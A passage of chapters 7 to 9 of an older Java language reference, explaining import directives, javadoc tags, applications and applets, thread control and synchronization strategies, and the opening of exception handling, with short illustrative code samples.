When the compiler is searching packages specified by this type of import directive, it issues an error message if it finds the same name defined in two different packages.

Every package in Java is considered separate and distinct, even if the name of a package begins with the name of another package. For example, the package java.awt is separate and distinct from the package java.awt.image. Even though the names imply a parent-child relationship, Java recognizes no such relationship between packages. Consider the following directive:

import java.awt.*;

This tells the Java compiler to search the java.awt package for class and interface names; it does not, however, tell the compiler to search java.awt.image for such names. For that to happen, a compilation unit must also include the following directive:

import Java.awt.image.*;

It is important to understand that an import directive does not cause the Java compiler to read any class or interface definitions. An import directive simply defines an identifier as a synonym for a fully qualified class or interface name or directs the compiler to search a package when it needs to find a definition. The compiler only reads a class or interface definition when its finds an actual reference to the class or interface.

References Compilation Units; Identifiers; Packages

Previous | Home | Next
Packages | Book Index | Documentation Comments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.4 Documentation Comments

Java Language Reference

Previous Chapter 7
Program Structure 		Next

7.4 Documentation Comments

Documentation comments are used to create stand-alone documentation for classes. Documentation comments are processed into Web pages by the javadoc program that is part of Sun's Java Development Kit (JDK). The javadoc program and the way that it processes .java files into Web pages is fully described in the documentation for javadoc provided by Sun. The remainder of this section describes the special formatting information that can be embedded in documentation comments.

Documentation comments are comments that begin with /**. If a documentation comment immediately precedes the declaration of a class, interface, method, or field variable, it is assumed to describe that class, interface, method, or field variable.

HTML tags can be included in a documentation comment; they are passed directly to the generated Web page. In addition to passing HTML tags, javadoc recognizes special tags that start with an "at" sign (@). These tags must appear as the first word on a line in order to be recognized. Here is an example of a documentation comment that includes these special javadoc tags:

/**
 * RomanNumeral is a class similar to Integer, except that
 * it uses roman numerals for its string based
 * representation.  It only represents positive numbers.
 *
 * @see        Integer
 * @see        Number
 * @see        Float
 * @see        Double
 * @version    1.1, 9/27/96
 * @author     Mark Grand
 */

Here are the special documentation comment tags recognized by javadoc :

@author author-name

Formats the given author name. This tag can only be used in a class or interface documentation comment.

@exception name description

Formats the given exception name and its description in the throws section of a method description. The name should be the fully qualified class name of the exception. This tag can only be used in a method documentation comment.

@param name description

Formats the given parameter name and its description in the parameters section of a method description. This tag can only be used in a method documentation comment.

@return description

Formats the given description in the returns section of a method description. This tag can only be used in a method documentation comment.

@see classname

Generates a hypertext link to the specified class. The class name may be qualified by its package name.

@see classname#method-name

Generates a hypertext link to the specified method in the specified class. The class name may be qualified by its package name.

@version text

Formats the given text as version information. This tag can only be used in a class or interface documentation comment.

@deprecated

Indicates that a class, method, or variable is deprecated, which means that it has been superceded by a newer, preferred class, method, or variable. Deprecated features should not be used in new Java programs. In addition, you should try to update existing code so that it does not rely on deprecated features. While the deprecated features in Java 1.1 are still supported, there is no guarantee that they will be supported in future releases. The @deprecated tag is new as of Java 1.1.

The documentation comment that immediately precedes a declaration is associated with the declaration. If two comments precede a declaration, only the one immediately preceding the declaration is processed by javadoc. The first comment is not considered to be associated with a declaration, so it is ignored. If there is anything but white space between a documentation comment and a declaration, the documentation comment is not considered to be associated with the declaration.

References Comments

Previous | Home | Next
The import Directive | Book Index | Applications
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.5 Applications

Java Language Reference

Previous Chapter 7
Program Structure 		Next

7.5 Applications

For a Java program to run as an application, it must have at least one public class that contains a public static method called main() that takes exactly one parameter, an array of String objects.

Here is a very simple sample application that outputs "Hello World!" and then exits:

class DoIt {
    public static void main  (String argv[]){
         System.out.println ("Hello World!");
    }
}

The main() method must be public so that the Java virtual machine can find it. If the method is not public, its name is not included in the compiler's output. The system does not create any objects prior to the start of the application's main() method, so the main() method must be static because it cannot be associated with an object.

If an application has a graphical user interface, then it typically creates a java.awt.Frame object in main(). The Frame object acts as the top-level window for the application.

In Sun's implementation of Java, you run a Java application by running the Java interpreter with a command-line argument that specifies the name of the class that contains the main(). The name of the Java interpreter is java. Here's the command-line for our sample application:

C:\> java DoIt

The capitalization of the class name on the command line must match the capitalization of the class name within the program. If the class is part of a named package, the name of the class must be qualified with the package name. For example, if you have a package called COM.geomaker and it contains the class called DoIt, you would use the following command to run the application:

C:\> java COM.geomaker.DoIt

Any additional information that you provide on the command line is passed to the application as command line arguments. These arguments are passed to the application using the String array passed to main(). The number of elements in the array is equal to the number of arguments passed to the application. If there are no arguments to the application, the length of the array passed to main() is zero.

References Methods; Packages

Previous | Home | Next
Documentation Comments | Book Index | Applets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.6 Applets

Java Language Reference

Previous Chapter 7
Program Structure 		Next

7.6 Applets

A Java applet must be run from within another program, called a host application. At this point, most host applications are Web browsers. The interaction between an applet and its host application is rather involved.

From the viewpoint of an applet, the interaction involves defining a subclass of the java.applet.Applet class. The Applet class defines a number of methods that control the applet. A subclass of Applet overrides one or more of the methods:

init()

The init() method is called to initialize the applet. Most initialization of an applet is done here instead of in a constructor because the constructor may be called before the hosting program is ready to provide all of the services needed for initialization.

start()

The start() method is called in a separate thread to tell the applet to start doing whatever it is supposed to do.

paint()

The paint() method is called at unpredictable times to draw the applet onto the screen.

stop()

The stop() method is called to tell the applet to stop doing whatever it does.

destroy()

The destroy() method is called to tell the applet to release any resources that it holds.

From the viewpoint of the host application, the interaction typically follows a standard sequence of events. The host application usually does the following:

  1. Installs a SecurityManager object to implement a security policy.

  2. Creates a ClassLoader object to load the applet.

  3. Loads the applet and calls its default constructor.

  4. Passes an AppletStub object to the applet's setStub() method.

  5. Calls the applet's init() method in a separate thread.

  6. Marks the applet as active.

  7. Starts a new thread to run the applet's start() method.

  8. Calls the applet's show() method, which makes the applet visible and causes the applet's paint() method to be called for the first time.

  9. Calls the applet's paint() method whenever the applet needs to be refreshed.

  10. Calls the applet's start() and stop() methods when the host wants the applet to start or stop. These methods are typically called when the applet is exposed or hidden.

  11. Calls the applet's hide() method followed by its destroy() method when the host wants to shut down the applet.

Embedding an Applet in a Web Page

Web pages are written in a language called HTML. This explanation of how to embed an applet in a Web page assumes that you have some knowledge of basic HTML. An applet is embedded in a Web page using an <applet> tag. A minimal <applet> tag looks as follows:

<applet code=Clock height=300 width=350>
</applet>

The code attribute of this sample <applet> tag specifies that the applet to be run is a class named Clock. The width and height attributes specify that the applet should be given a screen area that is 300 pixels high and 350 pixels wide.

The following list shows all of the attributes that can be specified in an <applet> tag. The attributes should be specified in the order in which they are listed. The code, height, and width attributes are required in an <applet> tag; the other attributes are optional:

codebase

The codebase attribute should specify a URL that identifies the directory used to find the .class files needed for the applet. Files for classes that belong to the default package should be in this directory. Files for classes that belong to named packages should be in subdirectories of this directory, where the relative path is specified by individual identifiers in the package name. If codebase is not specified, the <applet> tag uses the directory that contains the HTML file as a default.

code

The code attribute specifies the name of the class that implements the applet. If the applet is part of a named package, you must specify the fully qualified class name. So, if the name of the class is DataPlot and it is part of a package called COM.geomaker.graph, the value of the code attribute should be:

code=COM.geomaker.graph.DataPlot.class

The browser locates the compiled code for the class by appending .class to the filename and searching the directory specified by the base URL for the document.

object

The object attribute specifies the name of a file that contains a serialized representation of an applet. If this attribute is specified, the applet is created by deserialization, rather than by calling its default constructor. The serialization is assumed to have occurred after the applet's init() method has been invoked, so the start() method is called instead of the init() method. Any attributes specified when the applet was serialized are not restored; the applet sees the attributes specified for this invocation.

The object attribute is new as of Java 1.1. An <applet> tag must include either the code attribute or the object attribute, but it cannot include both.

archive

The archive attribute specifies a list of one or more archives that contain classes or other resources for an applet. Archives can be JAR or ZIP files. If this attribute is specified, the resources in the archives are loaded before the applet is run. If multiple archives are listed, they should be separated by commas. The archive attribute is new for Java 1.1.

alt

The alt attribute specifies the text that should be displayed by Web browsers that understand the <applet> tag but cannot run Java applets. If the text contains space characters, it should be enclosed in quotation marks.

name

The name attribute specifies a name for a particular instance of an applet. An applet can get a reference to another applet on the same Web page using the getApplet() method.

width

The width attribute specifies the width of the applet in pixels.

height

The height attribute specifies the height of the applet in pixels.

align

The align attribute specifies the positioning of the applet. The possible values are: left, right, top, texttop, middle, absmiddle, baseline, bottom, or absbottom.

vspace

The vspace attribute specifies the amount of vertical space above and below the applet in pixels.

hspace

The hspace attribute specifies the amount of horizontal space to the left and right of the applet in pixels.

Applet-specific parameters can be provided to an applet using <param> tags inside the <applet> tag. A <param> tag must specify name and value attributes. For example:

<param name=speed value=65>

If a Web browser does not support the <applet> tag, it ignores the tag and simply displays any HTML content provided inside the tag. However, if the browser understands the <applet> tag, this HTML content is ignored. This means that you can provide HTML content inside an <applet> tag to inform users of non-Java-enabled browsers about what they are missing.

Here is an example that combines all of these elements:

<applet code=Compass height=400 width=300>
<param name=direction value=north>
<param name=speed value=65>
<p>
<i>If you can see this message, your Web browser is not Java enabled.
There is a Java applet on this Web page that you are not seeing.</i>
<p>
</applet>

If a non-Java-enabled browser is used to view this HTML file, the following text is displayed:

If you can see this message, your Web browser is not Java-enabled. There is a Java applet on this Web page that you are not seeing.

Previous | Home | Next
Applications | Book Index | Threads
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] Threads

Java Language Reference

Previous Chapter 8 Next

8. Threads

Contents:
Using Thread Objects
Synchronizing Multiple Threads

Threads provide a way for a Java program to do multiple tasks concurrently. A thread is essentially a flow of control in a program and is similar to the more familiar concept of a process. An operating system that can run more than one program at the same time uses processes to keep track of the various programs that it is running. However, processes generally do not share any state, while multiple threads within the same application share much of the same state. In particular, all of the threads in an application run in the same address space, sharing all resources except the stack. In concrete terms, this means that threads share field variables, but not local variables.

When multiple processes share a single processor, there are times when the operating system must stop the processor from running one process and start it running another process. The operating system must execute a sequence of events called a context switch to transfer control from one process to another. When a context switch occurs, the operating system has to save a lot of information for the process that is being paused and load the comparable information for the process being resumed. A context switch between two processes can require the execution of thousands of machine instructions. The Java virtual machine is responsible for handling context switches between threads in a Java program. Because threads share much of the same state, a context switch between two threads typically requires the execution of less than 100 machine instructions.

There are a number of situations where it makes sense to use threads in a Java program. Some programs must be able to engage in multiple activities and still be able to respond to additional input from the user. For example, a web browser should be able to respond to user input while fetching an image or playing a sound. Because threads can be suspended and resumed, they can make it easier to control multiple activities, even if the activities do not need to be concurrent. If a program models real world objects that display independent, autonomous behavior, it makes sense to use a separate thread for each object. Threads can also implement asynchronous methods, so that a calling method does not have to wait for the method it calls to complete before continuing with its own activity.

Java applets make considerable use of threads. For example, an animation is generally implemented with a separate thread. If an applet has to download extensive information, such as an image or a sound, to initialize itself, the initialization can take a long time. This initialization can be done in a separate thread to prevent the initialization from interfering with the display of the applet. If an applet needs to process messages from the network, that work generally is done in a separate thread so that the applet can continue painting itself on the screen and responding to mouse and keyboard events. In addition, if each message is processed separately, the applet uses a separate thread for each message.

For all of the reasons there are to use threads, there are also some compelling reasons not to use them. If a program uses inherently sequential logic, where one operation starts another operation and then must wait for the other operation to complete before continuing, one thread can implement the entire sequence. Using multiple threads in such a case results in a more complex program with no accompanying benefits. There is considerable overhead in creating and starting a thread, so if an operation involves only a few primitive statements, it is faster to handle it with a single thread. This can even be true when the operation is conceptually asynchronous. When multiple threads share objects, the objects must use synchronization mechanisms to coordinate thread access and maintain consistent state. Synchronization mechanisms add complexity to a program, can be difficult to tune for optimal performance, and can be a source of bugs.

8.1 Using Thread Objects

The Thread class in the java.lang package creates and controls threads in Java programs. The execution of Java code is always under the control of a Thread object. The Thread class provides a static method called currentThread() that provides a reference to the Thread object that controls the current thread of execution.

References Thread

Associating a Method with a Thread

The first thing you need to do to make a Thread object useful is to associate it with a method you want it to run. Java provides two ways of associating a method with a Thread:

  • Declare a subclass of Thread that defines a run() method.

  • Pass a reference to an object that implements the Runnable interface to a Thread constructor.

For example, if you need to load the contents of a URL as part of an applet's initialization, but the applet can provide other functionality before the content is loaded, you might want to load the content in a separate thread. Here is a class that does just that:

import java.net.URL;
class UrlData extends Thread   {
    private Object data;
    private URL url
    public UrlData(String urlName) throws MalformedURLException {
        url = new URL(urlName);
        start();
    }
    public void run(){
        try {
            data = url.getContent();
        } catch (java.io.IOException  e) {
        }
    }
    public Object getUrlData(){
        return data;
    }
}

The UrlData class is declared as a subclass of Thread so that it can get the contents of the URL in a separate thread. The constructor creates a java.net.URL object to fetch the contents of the URL, and then calls the start() method to start the thread. Once the thread is started, the constructor returns; it does not wait for the contents of the URL to be fetched. The run() method is executed after the thread is started; it does the real work of fetching the data. The getUrlData() method is an access method that returns the value of the data variable. The value of this variable is null until the contents of the URL have been fetched, at which time it contains a reference to the actual data.

Subclassing the Thread class is convenient when the method you want to run in a separate thread does not need to belong to a particular class. Sometimes, however, you need the method to be part of a particular class that is a subclass of a class other than Thread. Say, for example, you want a graphical object that is displayed in a window to alternate its background color between red and blue once a second. The object that implements this behavior needs to be a subclass of the java.awt.Canvas class. However, at the same time, you need a separate thread to alternate the color of the object once a second.

In this situation, you want to tell a Thread object to run code in another object that is not a subclass of the Thread class. You can accomplish this by passing a reference to an object that implements the Runnable interface to the constructor of the Thread class. The Runnable interface requires that an object has a public method called run() that takes no arguments. When a Runnable object is passed to the constructor of the Thread class, it creates a Thread object that calls the Runnable object's run() method when the thread is started. The following example shows part of the code that implements an object that alternates its background color between red and blue once a second:

class AutoColorChange extends java.awt.Canvas implements Runnable {
    private Thread myThread;
    AutoColorChange () {
        myThread = new Thread(this);
        myThread.start();
        ...
    }
    public void run() {
        while (true) {
            setBackground(java.awt.Color.red);
            repaint();
            try {
                myThread.sleep(1000);
            } catch (InterruptedException e) {}
            setBackground(java.awt.Color.blue);
            repaint();
            try {
                myThread.sleep(1000);
            } catch (InterruptedException e) {}
        }
    }
}

The AutoChangeColor class extends java.awt.Canvas, alternating the background color between red and blue once a second. The constructor creates a new Thread by passing the current object to the Thread constructor, which tells the Thread to call the run() method in the AutoChangeColor class. The constructor then starts the new thread by calling its start() method, so that the color change happens asynchronously of whatever else is going on. The class has an instance variable called myThread that contains a reference to the Thread object, so that can control the thread. The run() method takes care of changing the background color, using the sleep() method of the Thread class to temporarily suspend the thread and calling repaint() to redisplay the object after each color change.

References Runnable; Thread

Controlling a Thread

As shown in the previous section, you start a Thread by calling its start() method. Before the start() method is called, the isAlive() method of the Thread object always returns false. When the start() method is called, the Thread object becomes associated with a scheduled thread in the underlying environment. After the start() method has returned, the isAlive() method always returns true. The Thread is now scheduled to run until it dies, unless it is suspended or in another unrunnable state.

It is actually possible for isAlive() to return true before start() returns, but not before start() is called. This can happen because the start() method can return either before the started Thread begins to run or after it begins to run. In other words, the method that called start() and the new thread are now running concurrently. On a multiprocessor system, the start() method can even return at the same time the started Thread begins to run.

Thread objects have a parent-child relationship. The first thread created in a Java environment does not have a parent Thread. However, after the first Thread object is created, the Thread object that controls the thread used to create another Thread object is considered to be the parent of the newly created Thread. This parent-child relationship is used to supply some default values when a Thread object is created, but it has no further significance after a Thread has been created.

References Thread

Stopping a thread

A thread dies when one of the following things happens:

  • The run() method called by the Thread returns.

  • An exception is thrown that causes the run() method to be exited.

  • The stop() method of the Thread is called.

The stop() method of the Thread class works by throwing a ThreadDeath object in the run() method of the thread. Normally, you should not catch ThreadDeath objects in a try statement. If you need to catch ThreadDeath objects to detect that a Thread is about to die, the try statement that catches ThreadDeath objects should rethrow them.

When an object (ThreadDeath or otherwise) is thrown out of the run() method for the Thread, the uncaughtException() method of the ThreadGroup for that Thread is called. If the thrown object is an instance of the ThreadDeath class, the thread dies, and the thrown object is ignored. Otherwise, if the thrown object is of any other class, uncaughtException() calls the thrown object's printStackTrace() method, the thread dies, and the thrown object is ignored. In either case, if there are other nondaemon threads running in the system, the current program continues to run.

References
Errors;
The try Statement;
Thread;
ThreadGroup

Interrupting a thread

In some situations, you need to kill a thread in a way that allows it to complete what it is currently doing before dying. For example, if a thread is in the middle of processing a transaction, you might want the transaction to complete before the thread dies. The Thread class provides support for this in the form of the interrupt() method.

There are a number of methods in the Java API, such as wait() and join(), that are declared as throwing an InterruptedException. Both of these methods temporarily suspend the execution of a thread. In Java 1.1, if a thread is waiting for one of these methods to return and another thread calls interrupt() on the waiting thread, the method that is waiting throws an InterruptedException.

The interrupt() method sets an internal flag in a Thread object. Before the interrupt() method is called, the isInterrupted() method of the Thread object always returns false. After the interrupt() method is called, isInterrupted() returns true.

Prior to version 1.1, the methods in the Java API that are declared as throwing an InterruptedException do not actually do so. However, the isInterrupted() method does return True if the thread has been interrupted. Thus, if the code in the run() method for a thread periodically calls isInterrupted(), the thread can respond to a call to interrupt() by shutting down in an orderly fashion.

References Other exceptions; Thread

Thread priority

One of the attributes that controls the behavior of a thread is its priority. Although Java does not guarantee much about how threads are scheduled, it does guarantee that a thread with a priority that is higher than that of another thread will be scheduled to run at least as often, and possibly more often, than the thread with the lower priority. The priority of a thread is set when the Thread object is created, by passing an argument to the constructor that creates the Thread object. If an explicit priority is not specified, the Thread inherits the priority of its parent Thread object.

You can query the priority of a Thread object by calling its getPriority() method. Similarly, you can set the priority of a Thread using its setPriority() method. The priority you specify must be greater than or equal to Thread.MIN_PRIORITY and less than or equal to Thread.MAX_PRIORITY.

Before actually setting the priority of a Thread object, the setPriority() method checks the maximum allowable priority for the ThreadGroup that contains the Thread by calling getMaxPriority() on the ThreadGroup. If the call to setPriority() tries to set the priority to a value that is higher than the maximum allowable priority for the ThreadGroup, the priority is instead set to the maximum priority. It is possible for the current priority of a Thread to be greater than the maximum allowable priority for the ThreadGroup. In this case, an attempt to raise the priority of the Thread results in its priority being lowered to the maximum priority.

References Thread; ThreadGroup

Daemon threads

A daemon thread is a thread that runs continuously to perform a service, without having any connection with the overall state of the program. For example, the thread that runs the garbage collector in Java is a daemon thread. The thread that processes mouse events for a Java program is also a daemon thread. In general, threads that run application code are not daemon threads, and threads that run system code are daemon threads. If a thread dies and there are no other threads except daemon threads alive, the Java virtual machine stops.

A Thread object has a boolean attribute that specifies whether or not a thread is a daemon thread. The daemon attribute of a thread is set when the Thread object is created, by passing an argument to the constructor that creates the Thread object. If the daemon attribute is not explicitly specified, the Thread inherits the daemon attribute of its parent Thread object.

The daemon attribute is queried using the isDaemon() method; it is set using the setDaemon() method.

References Thread

Yielding

When a thread has nothing to do, it can call the yield() method of its Thread object. This method tells the scheduler to run a different thread. The value of calling yield() depends largely on whether the scheduling mechanism for the platform on which the program is running is preemptive or nonpreemptive.

By choosing a maximum length of time a thread can continuously, a preemptive scheduling mechanism guarantees that no single thread uses more than its fair share of the processor. If a thread runs for that amount of time without yielding control to another thread, the scheduler preempts the thread and causes it to stop running so that another thread can run.

A nonpreemptive scheduling mechanism cannot preempt threads. A nonpreemptive scheduler relies on the individual threads to yield control of the processor frequently, so that it can provide reasonable performance. A thread explicitly yields control by calling the Thread object's yield() method. More often, however, a thread implicitly yields control when it is forced to wait for something to happen elsewhere.

Calling a Thread object's yield() method during a lengthy computation can be quite valuable on a platform that uses a nonpreemptive scheduling mechanism, as it allows other threads to run. Otherwise, the lengthy computation can prevent other threads from running. On a platform that uses a preemptive scheduling mechanism, calling yield() does not usually make any noticeable difference in the responsiveness of threads.

Regardless of the scheduling algorithm that is being used, you should not make any assumptions about when a thread will be scheduled to run again after it has called yield(). If you want to prevent a thread from being scheduled to run until a specified amount of time has elapsed, you should call the sleep() method of the Thread object. The sleep() method takes an argument that specifies a minimum number of milliseconds that must elapse before the thread can be scheduled to run again.

References Thread

Controlling groups of threads

Sometimes it is necessary to control multiple threads at the same time. Java provides the ThreadGroup class for this purpose. Every Thread object belongs to a ThreadGroup object. By passing an argument to the constructor that creates the Thread object, the ThreadGroup of a thread can be set when the Thread object is created. If an explicit ThreadGroup is not specified, the Thread belongs to the same ThreadGroup as its parent Thread object.

References Thread; ThreadGroup

Previous | Home | Next
Applets | Book Index | Synchronizing Multiple Threads
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.2 Synchronizing Multiple Threads

Java Language Reference

Previous Chapter 8
Threads 		Next

8.2 Synchronizing Multiple Threads

The correct behavior of a multithreaded program generally depends on multiple threads cooperating with each other. This often involves threads not doing certain things at the same time or waiting for each other to perform certain tasks. This type of cooperation is called synchronization. This section discusses some common strategies for synchronization and how they can be implemented in Java.

The simplest strategy for ensuring that threads are correctly synchronized is to write code that works correctly when executed concurrently by any number of threads. However, this is more easily said than done. Most useful computations involve doing some activity, such as updating an instance variable or updating a display, that must be synchronized in order to happen correctly.

If a method only updates its local variables and calls other methods that only modify their local variables, the method can be invoked by multiple threads without any need for synchronization. Math.sqrt() and the length() method of the String class are examples of such methods.

A method that creates objects and meets the above criterion may not require synchronization. If the constructors invoked by the method do not modify anything but their own local variables and instance variables of the object they are constructing, and they only call methods that do not need to be synchronized, the method itself does not need to be synchronized. An example of such a method is the substring() in the String class.

Beyond these two simple cases, it is impossible to give an exhaustive list of rules that can tell you whether or not a method needs to be synchronized. You need to consider what the method is doing and think about any ill effects of concurrent execution in order to decide if synchronization is necessary.

Single-Threaded Execution

When more than one thread is trying to update the same data at the same time, the result may be wrong or inconsistent. Consider the following example:

class CountIt {
    int i = 0;
    void count() {
        i = i + 1;
    }
}

The method count() is supposed to increment the variable i by one. However, suppose that there are two threads, A and B, that call count() at the same time. In this case, it is possible that i could be incremented only once, instead of twice. Say the value of i is 7. Thread A calls the count() method and computes i+1 as 8. Then thread B calls the count() method and computes i+1 as 8 because thread A has not yet assigned the new value to i. Next, thread A assigns the value 8 to the variable i. Finally, thread B assigns the value 8 to the variable i. Thus, even though the count() method is called twice, the variable has only been incremented once when the sequence is finished.

Clearly, this code can fail to produce its intended result when it is executed concurrently by more than one thread. A piece of code that can fail to produce its intended result when executed concurrently is called a critical section. However, a critical section does behave correctly when it is executed by only one thread at a time. The strategy of single-threaded execution is to allow only one thread to execute a critical section of code at a time. If a thread wants to execute a critical section that another thread is already executing, the thread has to wait until the first thread is done and no other thread is executing that code before it can proceed.

Java provides the synchronized statement and the synchronized method modifier for implementing single-threaded execution. Before executing the block in a synchronized statement, the current thread must obtain a lock for the object referenced by the expression. If a method is declared with the synchronized modifer, the current thread must obtain a lock before it can invoke the method. If the method is not declared static, the thread must obtain a lock associated with the object used to access the method. If the method is declared static, the thread must obtain a lock associated with the class in which the method is declared. Because a thread must obtain a lock before executing a synchronized method, Java guarantees that synchronized methods are executed by only one thread at a time.

Modifying the count() method to make it a synchronized method ensures that it works as intended.

class CountIt {
    int i = 0;
    synchronized void count() {
        i = i + 1;
    }
}

The strategy of single-threaded execution can also be used when multiple methods update the same data. Consider the following example:

class CountIt2 {
    int i = 0;
    void count() {
        i = i + 1;
    }
    void count2() {
        i = i + 2;
    }
}

By the same logic used above, if the count() and count2() methods are executed concurrently, the result could be to increment i by 1, 2, or 3. Both the count() and count2() methods can be declared as synchronized to ensure that they are not executed concurrently with themselves or each other:

class CountIt2 {
    int i = 0;
    synchronized void count() {
        i = i + 1;
    }
    synchronized void count2() {
        i = i + 2;
    }
}

Sometimes it's necessary for a thread to make multiple method calls to manipulate an object without another thread calling that object's methods at the same time. Consider the following example:

System.out.print(new Date());
System.out.print(" : ");
System.out.println(foo());

If the code in the example is executed concurrently by multiple threads, the output from the two threads will be interleaved. The synchronized keyword provides a way to ensure that only one thread at a time can execute a block of code. Before executing the block in a synchronized statement, the current thread must obtain a lock for the object referenced by the expression. The above code can be modified to give a thread exclusive access to the OutputStream object referenced by System.out:

synchronized (System.out) {
    System.out.print(new Date());
    System.out.print(" : ");
    System.out.println(foo());
}

Note that this approach only works if other code that wants to call methods in the same object also uses similar synchronized statements, or if the methods in question are all synchronized methods. In this case, the print() and println() methods are synchronized, so other pieces of code that need to use these methods do not need to use a synchronized statement.

When an inner class is updating fields in its enclosing instance, simply making a method synchronized does not provide the needed single-threaded execution. Consider the following code:

public class Z extends Frame {
    int pressCount = 0;
    ...
    private class CountButton extends Button
                              implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            pressCount ++;
        }
    }
    ...
}

If a Z object instantiates more than one instance of CountButton, you need to use single-threaded execution to ensure that updates to pressCount are done correctly. Unfortunately, declaring the actionPerformed() method of CountButton to be synchronized does not accomplish that goal because it only forces the method to acquire a lock on the instance of CountButton it is associated with before it executes. The object you need to acquire a lock for is the enclosing instance of Z.

One way to have a CountButton object capture a lock on its enclosing instance of Z is to update pressCount inside of a synchronized statement. For example:

synchronized (Z.this) {
    pressCount ++;
}

The drawback to this approach is that every piece of code that accesses pressCount in any inner class of Z must be in a similar synchronized statement. Otherwise, it is possible for pressCount to be updated incorrectly. The more pieces of code that need to be inside of synchronized statements, the more places there are to introduce bugs in your program.

A more robust approach is to have the inner class update a field in its enclosing instance by calling a synchronized method in the enclosing instance. For example:

public class Z extends Frame {
    int pressCount = 0;
    synchronized incrementPressCount() {
        pressCount++;
    }
    ...
    private class CountButton extends Button
                              implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            incrementPressCount();
        }
    }
    ...
}

References Inner Classes; Method modifiers; The synchronized Statement

Optimistic Single-Threaded Execution

When multiple threads are updating a data structure, single-threaded execution is the obvious strategy to use to ensure correctness of the operations on the data structure. However, single-threaded execution can cause some problems of its own. Consider the following example:

public class Queue extends java.util.Vector {
    synchronized public void put(Object obj) {
        addElement(obj);
    }
    synchronized public Object get() throws EmptyQueueException {
        if (size() == 0)
            throw new EmptyQueueException();
        Object obj = elementAt(0);
        removeElementAt(0);
        return obj;
    }
}

This example implements a first-in, first-out (FIFO) queue. If the get() method of a Queue object is called when the queue is empty, the method throws an exception. Now suppose that you want to write the get() method so that when the queue is empty, the method waits for an item to be put in the queue, rather than throwing an exception. In order for an item to be put in the queue, the put() method of the queue must be invoked. But using the single-threaded execution strategy, the put() method will never be able to run while the get() method is waiting for the queue to receive an item. A good way to solve this dilemma is to use a strategy called optimistic single-threaded execution.

The optimistic single-threaded execution strategy is similar to the single-threaded execution strategy. They both begin by getting a lock on an object to ensure that the currently executing thread is the only thread that can execute a piece of code, and they both end by releasing that lock. The difference is what happens in between. Using the optimistic single-threaded execution strategy, if a piece of code discovers that conditions are not right to proceed, the code releases the lock it has on the object that enforces single-threaded execution and waits. When another piece of code changes things in such a way that might allow the first piece of code to proceed, it notifies the first piece of code that it should try to regain the lock and proceed.

To implement this strategy, the Object class provides methods called wait(), notify(), and notifyAll(). These methods are inherited by every other class in Java. The following example shows how to implement a queue that uses the optimistic single-threaded execution strategy, so that when the queue is empty, its get() method waits for the queue to have an item put in it:

public class Queue extends java.util.Vector {
    synchronized public void put(Object obj) {
        addElement(obj);
        notify();
    }
    synchronized public Object get() throws EmptyQueueException {
        while (size() == 0)
            wait();
        Object obj = elementAt(0);
        removeElementAt(0);
        return obj;
    }
}

In the above implementation of the Queue class, the get() method calls wait() when the queue is empty. The wait() method releases the lock that excludes other threads from executing methods in the Queue object, and then waits until another thread calls the put() method. When put() is called, it adds an item to the queue and calls notify(). The notify() method tells a thread that is waiting to return from a wait() method that it should attempt to regain its lock and proceed. If there is more than one thread waiting to regain the lock on the object, notify() chooses one of the threads arbitrarily. The notifyAll() method is similar to notify(), but instead of choosing one thread to notify, it notifies all of the threads that are waiting to regain the lock on the object.

Notice that the get() method calls wait() inside a while loop. Between the time that wait() is notified that it should try to regain its lock and the time it actually does regain the lock, another thread may have called the get() method and emptied the queue. The while loop guards against this situation.

References Method modifiers; Object; The synchronized Statement

Rendezvous

Sometimes it is necessary to have a thread wait to continue until another thread has completed its work and died. This type of synchronization uses the rendezvous strategy. The Thread class provides the join() method for implementing this strategy. When the join() method is called on a Thread object, the method returns immediately if the thread is dead. Otherwise, the method waits until the thread dies and then returns.

References Thread

Balking

Some methods should not be executed concurrently, and have a time-sensitive nature that makes postponing calls to them a bad idea. This is a common situation when software is controlling real-world devices. Suppose you have a Java program that is embedded in an electronic control for a toilet. There is a method called flush() that is responsible for flushing a toilet, and flush() can be called from more than one thread. If a thread calls flush() while another thread is already executing flush(), the second call should do nothing. A toilet is capable of only one flush at a time, and having a concurrent call to the flush() method result in a second flush would only waste water.

This scenario suggests the use of the balking strategy. The balking strategy allows no more than one thread to execute a method at a time. If another thread attempts to execute the method, the method simply returns without doing anything. Here is an example that shows what such a flush() method might look like:

boolean busy;
void flush() {
    synchronized (this) {
        if (busy)
            return;
        busy = true;
    }
    // code to make flush happen goes here
    busy = false;
}

Explicit Synchronization

When the synchronization needs of a thread are not known in advance, you can use a strategy called explicit synchronization. The explicit synchronization strategy allows you to explicitly tell a thread when it can and cannot run. For example, you may want an animation to start and stop in response to external events that happen at unpredictable times, so you need to be able to tell the animation when it can run.

To implement this strategy, the Thread class provides methods called suspend() and resume(). You can suspend the execution of a thread by calling the suspend() method of the Thread object that controls the thread. You can later resume execution of the thread by calling the resume() method on the Thread object.

References Thread

Previous | Home | Next
Using Thread Objects | Book Index | Exception Handling
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] Exception Handling

Java Language Reference

Previous Chapter 9 Next

9. Exception Handling

Contents:
Handling Exceptions
Declaring Exceptions
Generating Exceptions
The Exception Hierarchy

Exception handling is a mechanism that allows Java programs to handle various exceptional conditions, such as semantic violations of the language and program-defined errors, in a robust way. When an exceptional condition occurs, an exception is thrown. If the Java virtual machine or run-time environment detects a semantic violation, the virtual machine or run-time environment implicitly throws an exception. Alternately, a program can throw an exception explicitly using the throw statement. After an exception is thrown, control is transferred from the current point of execution to an appropriate catch clause of an enclosing try statement. The catch clause is called an exception handler because it handles the exception by taking whatever actions are necessary to recover from it.

9.1 Handling Exceptions

The try statement provides Java's exception-handling mechanism. A try statement contains a block of code to be executed. Putting a block in a try statement indicates that any exceptions or other abnormal exits in the block are going to be handled appropriately. A try statement can have any number of optional catch clauses that act as exception handlers for the try block. A try statement can also have a finally clause. The finally block is always executed before control leaves the try statement; it cleans up after the try block. Note that a try statement must have either a catch clause or a finally clause.

